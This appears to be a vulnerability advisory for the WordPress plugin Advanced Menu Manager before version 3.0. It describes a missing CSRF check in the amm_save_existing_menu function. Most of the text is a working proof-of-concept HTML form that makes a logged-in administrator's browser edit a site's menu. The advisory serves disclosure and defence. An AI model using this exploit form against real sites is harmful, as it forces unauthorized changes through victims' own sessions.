Advanced Menu Manager < 3.0 – Unauthorised Menu Edition via CSRF

Description

The plugin does not properly check for CSRF in its amm_save_existing_menu function, allowing attackers to make logged in high privilege users edit menus via a CSRF attack

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=advance-menu-manager-lite&tab=menu-manager-add&section=menu-add" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="menu-name" value="CSRF" />
      <input type="hidden" name="old-menu-name" value="" />
      <input type="hidden" name="save_menu" value="Save Menu" />
      <input type="hidden" name="current_edit_menu_id" value="0" />
      <input type="hidden" name="total_menu_items" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>